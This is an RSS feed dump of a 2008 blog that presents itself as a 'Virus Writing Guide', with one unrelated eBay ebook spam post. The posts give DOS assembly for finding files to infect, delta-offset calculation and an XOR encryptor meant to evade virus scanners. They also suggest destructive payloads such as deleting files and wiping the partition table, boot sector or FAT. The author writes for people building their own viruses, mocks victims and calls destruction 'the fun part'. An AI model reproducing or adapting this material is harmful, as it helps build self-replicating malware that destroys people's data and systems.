&lt;a href="http://feedads.g.doubleclick.net/~a/2bgPB7ZADb5dW-sTnU4jn6To2sw/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/2bgPB7ZADb5dW-sTnU4jn6To2sw/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;Ok now I will continue my last post on the replicator part.&lt;br /&gt;&lt;br /&gt;Before you  can infect  a file,  you have  to find it first!  This can be a bottleneck in  the performance  of the  virus, so  it  should  be  done  as efficiently as possible.  For runtime virii, there are a few possibilities. You could  infect files in only the current directory, or you could write a directory traversal function to infect files in ALL directories (only a few files per  run, of  course), or you could infect files in only a few select directories.   Why would  you choose  to only  infect files  in the current directory?   It would  appear to  limit the  efficacy  of  the  infections.&lt;br /&gt;  However, this  is done  in some  virii either  to speed  up the virus or to shorten the code size.&lt;br /&gt; &lt;br /&gt;  Here is a directory traversal function.  It uses recursion, so it is rather slow, but it does the job.  This was excerpted with some modifications from The Funky Bob Ross Virus [Beta].&lt;br /&gt; &lt;br /&gt;  traverse_fcn proc    near&lt;br /&gt;          push    bp                      ; Create stack frame&lt;br /&gt;          mov     bp,sp&lt;br /&gt;          sub     sp,44                   ; Allocate space for DTA&lt;br /&gt; &lt;br /&gt;          call    infect_directory        ; Go to search &amp;amp; destroy routines&lt;br /&gt; &lt;br /&gt;          mov     ah,1Ah                  ;Set DTA&lt;br /&gt;          lea     dx,word ptr [bp-44]     ; to space allotted&lt;br /&gt;          int     21h                     ;Do it now!&lt;br /&gt; &lt;br /&gt;          mov     ah, 4Eh                 ;Find first&lt;br /&gt;          mov     cx,16                   ;Directory mask&lt;br /&gt;          lea     dx,[si+offset dir_mask] ; *.*&lt;br /&gt;          int     21h&lt;br /&gt;          jmp     short isdirok&lt;br /&gt;  gonow:&lt;br /&gt;          cmp     byte ptr [bp-14], '.'   ; Is first char == '.'?&lt;br /&gt;          je      short donext            ; If so, loop again&lt;br /&gt;          lea     dx,word ptr [bp-14]     ; else load dirname&lt;br /&gt;          mov     ah,3Bh                  ; and changedir there&lt;br /&gt;          int     21h&lt;br /&gt;          jc      short donext              ; Do next if invalid&lt;br /&gt;          inc     word ptr [si+offset nest] ; nest++&lt;br /&gt;          call    near ptr traverse_fcn     ; recurse directory&lt;br /&gt;  donext:&lt;br /&gt;          lea     dx,word ptr [bp-44]     ; Load space allocated for DTA&lt;br /&gt;          mov     ah,1Ah                  ; and set DTA to this new area&lt;br /&gt;          int     21h                     ; 'cause it might have changed&lt;br /&gt; &lt;br /&gt;          mov     ah,4Fh                  ;Find next&lt;br /&gt;          int     21h&lt;br /&gt;  isdirok:&lt;br /&gt;          jnc     gonow                   ; If OK, jmp elsewhere&lt;br /&gt;          cmp     word ptr [si+offset nest], 0 ; If root directory&lt;br /&gt;                                               ;  (nest == 0)&lt;br /&gt;          jle     short cleanup                ; then Quit&lt;br /&gt;          dec     word ptr [si+offset nest]    ; Else decrement nest&lt;br /&gt;          lea     dx, [si+offset back_dir]; '..'&lt;br /&gt;          mov     ah,3Bh                  ; Change directory&lt;br /&gt;          int     21h                     ; to previous one&lt;br /&gt;  cleanup:&lt;br /&gt;          mov     sp,bp&lt;br /&gt;          pop     bp&lt;br /&gt;          ret&lt;br /&gt;  traverse_fcn endp&lt;br /&gt; &lt;br /&gt;  ; Variables&lt;br /&gt;  nest     dw     0&lt;br /&gt;  back_dir db     '..',0&lt;br /&gt;  dir_mask db     '*.*',0&lt;br /&gt; &lt;br /&gt;  The code  is self-explanatory.   Make  sure  you  have  a  function  called infect_directory which scans the directory for possible files to infect and makes sure  it doesn't  infect already-infected  files.   This function, in turn, calls infect_file which infects the file.&lt;br /&gt; &lt;br /&gt;  Note, as  I said  before, this  is slow.   A  quicker method, albeit not as global, is  the "dot  dot" method.   Hellraiser  showed me this neat little trick.   Basically, you  keep searching  each directory and, if you haven't infected enough,  go to the previous directory (dot dot) and try again, and so on.  The code is simple.&lt;br /&gt; &lt;br /&gt;  dir_loopy:&lt;br /&gt;          call    infect_directory&lt;br /&gt;          lea     dx, [bp+dotdot]&lt;br /&gt;          mov     ah, 3bh                 ; CHDIR&lt;br /&gt;          int     21h&lt;br /&gt;          jnc     dir_loopy               ; Carry set if in root&lt;br /&gt; &lt;br /&gt;  ; Variables&lt;br /&gt;  dotdot  db      '..',0&lt;br /&gt; &lt;br /&gt;  Now you  must find a file to infect.  This is done (in the fragments above) by a  function called infect_directory.  This function  calls FINDFIRST and FINDNEXT a  couple of  times to find files to infect.  You should first set up a  new DTA.  NEVER use the DTA in the PSP (at 80h) because altering that will affect  the command-line  parameters  of  the  infected  program  when control is returned to it.  This is easily done with the following:&lt;br /&gt; &lt;br /&gt;          mov     ah, 1Ah                 ; Set DTA&lt;br /&gt;          lea     dx, [bp+offset DTA]     ; to variable called DTA (wow!)&lt;br /&gt;          int     21h&lt;br /&gt; &lt;br /&gt;  Where DTA  is a 42-byte chunk of memory.  Next, issue a series of FINDFIRST and FINDNEXT calls:&lt;br /&gt; &lt;br /&gt;          mov     ah, 4Eh                 ; Find first file&lt;br /&gt;          mov     cx, 0007h               ; Any file attribute&lt;br /&gt;          lea    dx, [bp+offset file_mask]; DS:[DX] --&gt; filemask&lt;br /&gt;          int     21h&lt;br /&gt;          jc      none_found&lt;br /&gt;  found_another:&lt;br /&gt;          call    check_infection&lt;br /&gt;          mov     ah, 4Fh                 ; Find next file&lt;br /&gt;          int     21h&lt;br /&gt;          jnc     found_another&lt;br /&gt;  none_found:&lt;br /&gt; &lt;br /&gt;  Where file_mask  is DBed  to either '*.EXE',0 or '*.COM',0.  Alternatively, you could FINDFIRST for '*.*',0 and check if the extension is EXE or COM.&lt;br /&gt;&lt;br /&gt;In my next post I will explain about the criteria of the infections.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4462266207216999823-7731484038208580494?l=virii-making.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=lEofF6f2qbQ:Vs4GJZr2Nlo:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=lEofF6f2qbQ:Vs4GJZr2Nlo:dnMXMwOfBR0"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?d=dnMXMwOfBR0" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=lEofF6f2qbQ:Vs4GJZr2Nlo:7Q72WNTAKBA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?d=7Q72WNTAKBA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=lEofF6f2qbQ:Vs4GJZr2Nlo:V_sGLiPBpWU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?i=lEofF6f2qbQ:Vs4GJZr2Nlo:V_sGLiPBpWU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=lEofF6f2qbQ:Vs4GJZr2Nlo:qj6IDK7rITs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?d=qj6IDK7rITs" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=lEofF6f2qbQ:Vs4GJZr2Nlo:KwTdNBX3Jqk"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?i=lEofF6f2qbQ:Vs4GJZr2Nlo:KwTdNBX3Jqk" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=lEofF6f2qbQ:Vs4GJZr2Nlo:l6gmwiTKsz0"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?d=l6gmwiTKsz0" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=lEofF6f2qbQ:Vs4GJZr2Nlo:gIN9vFwOqvQ"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?i=lEofF6f2qbQ:Vs4GJZr2Nlo:gIN9vFwOqvQ" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=lEofF6f2qbQ:Vs4GJZr2Nlo:TzevzKxY174"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?d=TzevzKxY174" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;</description><link>http://feedproxy.google.com/~r/Dauskupang/~3/lEofF6f2qbQ/find-file-to-infect.html</link><author>noreply@blogger.com (DauskupanG)</author><thr:total>0</thr:total><feedburner:origLink>http://virii-making.blogspot.com/2008/04/find-file-to-infect.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-4462266207216999823.post-6913897475132594920</guid><pubDate>Sun, 30 Mar 2008 07:45:00 +0000</pubDate><atom:updated>2008-03-30T15:50:49.475+08:00</atom:updated><title>Installment II: The Replicator</title><description>&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/V97SzPydLeGoDHyyDEXFQxMjlIc/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/V97SzPydLeGoDHyyDEXFQxMjlIc/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/V97SzPydLeGoDHyyDEXFQxMjlIc/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/V97SzPydLeGoDHyyDEXFQxMjlIc/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;In the  last installment of my Virus Writing Guide, I explained the various parts of  a virus  and went  into a  brief discussion  about each.  In this issue, I  shall devote  all my  attention towards the replicator portion of the virus.  I promised code and code I shall present.&lt;br /&gt; &lt;br /&gt;However, I  shall digress  for a moment because it has come to my attention that some  mutant  copies  of  the  first  installment  were  inadvertently released.   These copies  did not  contain a  vital section  concerning the calculation of offsets.&lt;br /&gt; &lt;br /&gt;You never  know where  your variables  and code  are going  to wind  up  in memory.   If you think a bit, this should be pretty obvious.  Since you are attaching the  virus to  the end  of a  program, the  location in memory is going to  be changed,  i.e. it  will be  larger by the size of the infected program.   So, to  compensate, we  must take  the change in offset from the original virus,  or the  delta offset,  and add  that to  all references to variables.&lt;br /&gt; &lt;br /&gt;Instructions that  use displacement,  i.e. relative  offsets, need  not  be changed.   These instructions are the JA, JB, JZ class of instructions, JMP SHORT, JMP label, and CALL.  Thus, whenever possible use these in favor of, say, JMP FAR PTR.&lt;br /&gt; &lt;br /&gt;Suppose in  the following  examples, si  is somehow  loaded with  the delta offset.&lt;br /&gt; &lt;br /&gt;  Replace&lt;br /&gt;    mov ax, counter&lt;br /&gt;  With&lt;br /&gt;    mov ax, word ptr [si+offset counter]&lt;br /&gt; &lt;br /&gt;  Replace&lt;br /&gt;    mov dx, offset message&lt;br /&gt;  With&lt;br /&gt;    lea dx, [si+offset message]&lt;br /&gt; &lt;br /&gt;  You may  be asking, "how the farg am I supposed to find the delta offset!?"&lt;br /&gt;  It is simple enough:&lt;br /&gt; &lt;br /&gt;    call setup&lt;br /&gt;  setup:&lt;br /&gt;    pop  si&lt;br /&gt;    sub  si, offset setup&lt;br /&gt; &lt;br /&gt;  An explanation  of the  above fragment  is in order.  CALL setup pushes the location of the next instruction, i.e. offset setup, onto the stack.  Next, this location  is POPed  into si.   Finally,  the ORIGINAL  offset of setup (calculated at  compile-time) is  subtracted from  si, giving you the delta offset.   In the  original virus,  the delta offset will be 0, i.e. the new location of setup equals the old location of setup.&lt;br /&gt; &lt;br /&gt;It is  often preferable to use bp as your delta offset, since si is used in string instructions.  Use whichever you like.  I'll randomly switch between the two as suits my mood.&lt;br /&gt; &lt;br /&gt;Now back to the other stuff...&lt;br /&gt; &lt;br /&gt;A biological  virus is a parasitic "organism" which uses its host to spread itself.   It must keep the host alive to keep itself "alive."  Only when it has spread  everywhere will  the host  die a  painful, horrible death.  The modern electronic  virus is  no different.   It  attaches itself  to a host system and  reproduces until the entire system is fucked.  It then proceeds and neatly wrecks the system of the dimwit who caught the virus.&lt;br /&gt; &lt;br /&gt;Replication is  what distinguishes  a virus  from a simple trojan.  Anybody can write  a trojan,  but a  virus is  much more  elegant.   It acts almost invisibly, and  catches the victim off-guard when it finally surfaces.  The first question  is, of  course, how  does a virus spread?  Both COM and EXE infections (along with sample infection routines) shall be presented.&lt;br /&gt; &lt;br /&gt;There are  two major  approaches to  virii: runtime and TSR.  Runtime virii infect, yup,  you guessed  it, when  the infected program is run, while TSR virii go  resident  when  the  infected  programs  are  run  and  hook  the interrupts and  infect when  a file  is  run,  open,  closed,  and/or  upon termination (i.e.  INT  20h,  INT  21h/41h).    There  are  advantages  and disadvantages to  each.   Runtime virii  are harder to detect as they don't show up on memory maps, but, on the other hand, the delay while it searches for and  infects a file may give it away.  TSR virii, if not properly done, can be  easily spotted  by utilities such as MAPMEM, PMAP, etc, but are, in general, smaller  since they  don't need  a function to search for files to infect.   They are  also faster than runtime virii, also because they don't have to  search for files to infect.  I shall cover runtime virii here, and TSR virii in a later installment.&lt;br /&gt; &lt;br /&gt;  Here is a summary of the infection procedure:&lt;br /&gt;       1) Find a file to infect.&lt;br /&gt;       2) Check if it meets the infection criteria.&lt;br /&gt;       3) See if it is already infected and if so, go back to 1.&lt;br /&gt;       4) Otherwise, infect the file.&lt;br /&gt;       5) Cover your tracks.&lt;br /&gt; &lt;br /&gt;  I shall  go through  each of  these steps and present sample code for each. Note that  although a  complete virus  can be  built from  the  information below, you  cannot merely  rip the  code out  and stick it together, as the fragments are  from various  different virii that I have written.  You must be somewhat  familiar with assembly.  I present code fragments; it is up to you to either use them as examples or modify them for your own virii.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4462266207216999823-6913897475132594920?l=virii-making.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=lwOIGrU4oKA:mTxqUHER4GM:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=lwOIGrU4oKA:mTxqUHER4GM:dnMXMwOfBR0"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?d=dnMXMwOfBR0" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=lwOIGrU4oKA:mTxqUHER4GM:7Q72WNTAKBA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?d=7Q72WNTAKBA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=lwOIGrU4oKA:mTxqUHER4GM:V_sGLiPBpWU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?i=lwOIGrU4oKA:mTxqUHER4GM:V_sGLiPBpWU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=lwOIGrU4oKA:mTxqUHER4GM:qj6IDK7rITs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?d=qj6IDK7rITs" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=lwOIGrU4oKA:mTxqUHER4GM:KwTdNBX3Jqk"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?i=lwOIGrU4oKA:mTxqUHER4GM:KwTdNBX3Jqk" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=lwOIGrU4oKA:mTxqUHER4GM:l6gmwiTKsz0"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?d=l6gmwiTKsz0" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=lwOIGrU4oKA:mTxqUHER4GM:gIN9vFwOqvQ"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?i=lwOIGrU4oKA:mTxqUHER4GM:gIN9vFwOqvQ" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=lwOIGrU4oKA:mTxqUHER4GM:TzevzKxY174"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?d=TzevzKxY174" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;</description><link>http://feedproxy.google.com/~r/Dauskupang/~3/lwOIGrU4oKA/installment-ii-replicator.html</link><author>noreply@blogger.com (DauskupanG)</author><thr:total>0</thr:total><feedburner:origLink>http://virii-making.blogspot.com/2008/03/installment-ii-replicator.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-4462266207216999823.post-684659991647792292</guid><pubDate>Thu, 27 Mar 2008 14:22:00 +0000</pubDate><atom:updated>2008-03-27T22:36:38.513+08:00</atom:updated><title>Freebies " Ebook Secret of Ebay Marketing"</title><description>&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/eFu_TyGXEce1S7nxrbNu8GKxjBk/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/eFu_TyGXEce1S7nxrbNu8GKxjBk/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/eFu_TyGXEce1S7nxrbNu8GKxjBk/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/eFu_TyGXEce1S7nxrbNu8GKxjBk/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;You can download this ebook for your reference on how to boost your money using ebay. More important, I will give it to you for FREE!!!&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Click &lt;a href="http://articleview.blogspot.com/2008/03/free-ebook-secret-of-ebay-marketing.html"&gt;HERE&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4462266207216999823-684659991647792292?l=virii-making.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=23QoUQXLxs0:rNaIwu1Qkq8:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=23QoUQXLxs0:rNaIwu1Qkq8:dnMXMwOfBR0"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?d=dnMXMwOfBR0" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=23QoUQXLxs0:rNaIwu1Qkq8:7Q72WNTAKBA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?d=7Q72WNTAKBA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=23QoUQXLxs0:rNaIwu1Qkq8:V_sGLiPBpWU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?i=23QoUQXLxs0:rNaIwu1Qkq8:V_sGLiPBpWU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=23QoUQXLxs0:rNaIwu1Qkq8:qj6IDK7rITs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?d=qj6IDK7rITs" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=23QoUQXLxs0:rNaIwu1Qkq8:KwTdNBX3Jqk"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?i=23QoUQXLxs0:rNaIwu1Qkq8:KwTdNBX3Jqk" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=23QoUQXLxs0:rNaIwu1Qkq8:l6gmwiTKsz0"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?d=l6gmwiTKsz0" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=23QoUQXLxs0:rNaIwu1Qkq8:gIN9vFwOqvQ"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?i=23QoUQXLxs0:rNaIwu1Qkq8:gIN9vFwOqvQ" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=23QoUQXLxs0:rNaIwu1Qkq8:TzevzKxY174"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?d=TzevzKxY174" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;</description><link>http://feedproxy.google.com/~r/Dauskupang/~3/23QoUQXLxs0/freebies-ebook-secret-of-ebay-marketing.html</link><author>noreply@blogger.com (DauskupanG)</author><thr:total>0</thr:total><feedburner:origLink>http://virii-making.blogspot.com/2008/03/freebies-ebook-secret-of-ebay-marketing.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-4462266207216999823.post-8356626220413577223</guid><pubDate>Wed, 26 Mar 2008 21:48:00 +0000</pubDate><atom:updated>2008-03-27T05:53:28.831+08:00</atom:updated><title>Concealer and the BOMB!</title><description>&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/eumiSbeS0GdiQ4dtRDY7zw6lWa0/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/eumiSbeS0GdiQ4dtRDY7zw6lWa0/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/eumiSbeS0GdiQ4dtRDY7zw6lWa0/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/eumiSbeS0GdiQ4dtRDY7zw6lWa0/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;This is  the part  which conceals  the program  from notice by the everyday user and virus scanner.  The simplest form of concealment is the encryptor. The code for a simple XOR encryption system follows:&lt;br /&gt;&lt;br /&gt;encrypt_val   db   ?&lt;br /&gt;&lt;br /&gt;decrypt:&lt;br /&gt;encrypt:&lt;br /&gt;     mov ah, encrypt_val&lt;br /&gt;&lt;br /&gt;     mov cx, part_to_encrypt_end - part_to_encrypt_start&lt;br /&gt;     mov si, part_to_encrypt_start&lt;br /&gt;     mov di, si&lt;br /&gt;xor_loop:&lt;br /&gt;     lodsb                 ; DS:[SI] -&gt; AL&lt;br /&gt;     xor al, ah&lt;br /&gt;     stosb                 ; AL -&gt; ES:[DI]&lt;br /&gt;     loop xor_loop&lt;br /&gt;     ret&lt;br /&gt;&lt;br /&gt;Note the encryption and decryption procedures are the same.  This is due to the weird  nature of  XOR.   You can CALL these procedures from anywhere in the program,  but make sure you do not call it from a place within the area&lt;br /&gt;to be  encrypted, as  the program  will crash.  When writing the virus, set the encryption  value to  0.  part_to_encrypt_start and part_to_encrypt_end sandwich the area you wish to encrypt.  Use a CALL decrypt in the beginning of V2  to unencrypt  the file  so your  program can  run.  When infecting a file, first change the encrypt_val, then CALL encrypt, then write V2 to the end of the file, and CALL decrypt.  MAKE SURE THIS PART DOES NOT LIE IN THE AREA TO BE ENCRYPTED!!!&lt;br /&gt;&lt;br /&gt;This is how V2 would look with the concealer:&lt;br /&gt;&lt;br /&gt;V2_Start:&lt;br /&gt;&lt;br /&gt;Concealer_Start:&lt;br /&gt;  .&lt;br /&gt;  .&lt;br /&gt;  .&lt;br /&gt;Concealer_End:&lt;br /&gt;&lt;br /&gt;Replicator_Start:&lt;br /&gt;  .&lt;br /&gt;  .&lt;br /&gt;  .&lt;br /&gt;Replicator_End:&lt;br /&gt;&lt;br /&gt;Part_To_Encrypt_Start:&lt;br /&gt;  .&lt;br /&gt;  .&lt;br /&gt;  .&lt;br /&gt;Part_To_Encrypt_End:&lt;br /&gt;V2_End:&lt;br /&gt;&lt;br /&gt;Alternatively, you  could move  parts  of  the  unencrypted  stuff  between Part_To_Encrypt_End and V2_End.&lt;br /&gt;&lt;br /&gt;The value  of encryption  is readily  apparent.  Encryption makes it harder for virus  scanners to  locate your virus.  It also hides some text strings located in  your program.   It is the easiest and shortest way to hide your&lt;br /&gt;virus.&lt;br /&gt;&lt;br /&gt;Encryption is only one form of concealment.  At least one other virus hooks into the  DOS interrupts  and alters  the output  of DIR  so the file sizes appear normal.   Another  concealment scheme  (for TSR virii) alters DOS so&lt;br /&gt;memory utilities  do not  detect the  virus.   Loading the virus in certain parts of  memory allow  it to survive warm reboots.  There are many stealth techniques, limited only by the virus writer's imagination.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;So now all the boring stuff is over.  The nastiness is contained here.  The bomb part  of the virus does all the deletion/slowdown/etc which make virii so annoying.   Set  some activation  conditions of  the virus.  This can be&lt;br /&gt;anything, ranging  from when  it's your  birthday to  when  the  virus  has infected 100  files.   When these  conditions are met, then your virus does the good stuff.  Some suggestions of possible bombs:&lt;br /&gt;&lt;br /&gt;     1) System slowdown - easily  handled  by  trapping  an  interrupt  and causing a delay when it activates.&lt;br /&gt;     2) File deletion - Delete all ZIP files on the drive.&lt;br /&gt;     3) Message display - Display a nice message saying  something  to  the effect of "You are fucked."&lt;br /&gt;     4) Killing/Replacing the Partition Table/Boot Sector/FAT of  the  hard drive - This is very nasty, as most  dimwits cannot fix this.&lt;br /&gt;&lt;br /&gt;This is, of course, the fun part of writing a virus, so be original!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4462266207216999823-8356626220413577223?l=virii-making.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=J5LW2SccxqU:H-YW7v1mvkE:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=J5LW2SccxqU:H-YW7v1mvkE:dnMXMwOfBR0"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?d=dnMXMwOfBR0" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=J5LW2SccxqU:H-YW7v1mvkE:7Q72WNTAKBA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?d=7Q72WNTAKBA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=J5LW2SccxqU:H-YW7v1mvkE:V_sGLiPBpWU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?i=J5LW2SccxqU:H-YW7v1mvkE:V_sGLiPBpWU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=J5LW2SccxqU:H-YW7v1mvkE:qj6IDK7rITs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?d=qj6IDK7rITs" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=J5LW2SccxqU:H-YW7v1mvkE:KwTdNBX3Jqk"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?i=J5LW2SccxqU:H-YW7v1mvkE:KwTdNBX3Jqk" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=J5LW2SccxqU:H-YW7v1mvkE:l6gmwiTKsz0"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?d=l6gmwiTKsz0" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=J5LW2SccxqU:H-YW7v1mvkE:gIN9vFwOqvQ"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?i=J5LW2SccxqU:H-YW7v1mvkE:gIN9vFwOqvQ" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=J5LW2SccxqU:H-YW7v1mvkE:TzevzKxY174"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?d=TzevzKxY174" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
